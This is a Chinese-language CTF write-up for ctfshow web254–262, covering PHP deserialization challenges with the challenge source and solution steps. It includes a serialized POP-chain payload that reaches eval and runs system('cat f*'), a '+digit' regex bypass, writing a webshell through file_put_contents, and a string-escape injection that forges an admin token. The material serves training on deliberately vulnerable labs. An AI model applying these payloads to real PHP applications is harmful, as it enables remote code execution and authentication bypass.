当前位置: 代码迷 >> 综合 >> ctfshow 反序列化1
  详细解决方案

ctfshow 反序列化1

热度:85   发布时间:2023-12-05 14:40:35.0

web254

 主要是考察能不能看懂这个类,跟反序列化没关系

payload:/?username=xxxxxx&password=xxxxxx

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx'; //这里定义了属性值public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){ //这句判断是解题关键$this->username就是xxxxxx//而$u就是下面GET传入的usernameif($this->username===$u&&$this->password===$p){$this->isVip=true;  //满足条件后isVip就为真,然后一直顺利走下去了}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();             //实例化类if($user->login($username,$password)){ //login方法调用传入的变量if($user->checkVip()){          //判断为真进行下一步$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

web255

class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){    //相较于上题,判断成功后$isVip也不为truereturn $this->username===$u&&$this->password===$p;  }public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    //反序列化cookie传入的user//这里需要的是实例化这个$userif($user->login($username,$password)){   //所以我们构造序列化后的语句并传入cookie来实现if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

由于需要序列化的操作,自己搞个php文件copy代码修改,执行来获得自己想要的东西

我们需要 $user= new ctfShowUser(); 

也就是 new ctfShowUser()  序列化后的字符串,这里还需要url编码

echo urlencode(serialize(new ctfShowUser()));

这样就成了

 

web256

相较于上题,只有这里是不同的,所以只需弄明白怎么绕过这里就可了

很简单,就是让username不等于password,

 public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}

将username 和 password 的值改变了,再去序列化构造 payload

 

 
web257

class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();  //这里可以让$this->class表示info()实例化自然也可以实例化 backDoor()}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);    //解题关键}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

摘抄羽师傅的:

大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

web258 

if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

也是在上一题的基础上加强了判断,正则过滤,不能出现 O : 数字  

解释:
[oc] --> 匹配内部某个字符
\d --> 匹配数字
+ --> 匹配至少一个

O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}} 

也就是过滤了序列化字符串的一种标识,用 +数字 替代 数字

自己构造:

 

web259

有点难啊

从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

web260

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D

payload: /?ctfshow=ctfshow_i_love_36D

因为传值后 $_GET['ctfshow'] 序列化出来的东西就是s:18:"ctfshow_i_love_36D";

 

web261

class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){ if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){  //这题没用eval($this->code);}public function __sleep(){  //这题没用$this->username='';   $this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){  //弱类型等于877file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']); 

 

这题的关键就是username和password拼接成的$this->code弱等于877(0x36d)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

 当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

 先/?vip=序列化内容 ,然后访问877.php 进行rce  (不是很理解)

 

 web262

class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}

message.php

if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}

也就是需要使token变成admin

群主的详解:有关字符逃逸

CTFshow-web入门-反序列化_哔哩哔哩_bilibili

先本地构造,查看字符逃逸

<?php
class message
{public $from;public $msg;public $to;public $token = 'user';public function __construct($f, $m, $t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}function filter($msg)
{return str_replace('fuck', 'loveU', $msg); //这里交换值造成字符逃逸
}$msg = new message('fuck', 'b', 'c');
$msg_1 = serialize($msg); //序列化
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg_2 = filter($msg_1); //序列化字符串交换fuck和loveU
echo $msg_2;
//O:7:"message":4:           {s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}这里明显 loveU是5个字符,却表示4个

 

 payload有62个字符,我们之前fuck交换loveU得到1个字符差距

所以这次用62个fuck交换

 根据题意,序列化的结果再去base64,然后传入cookie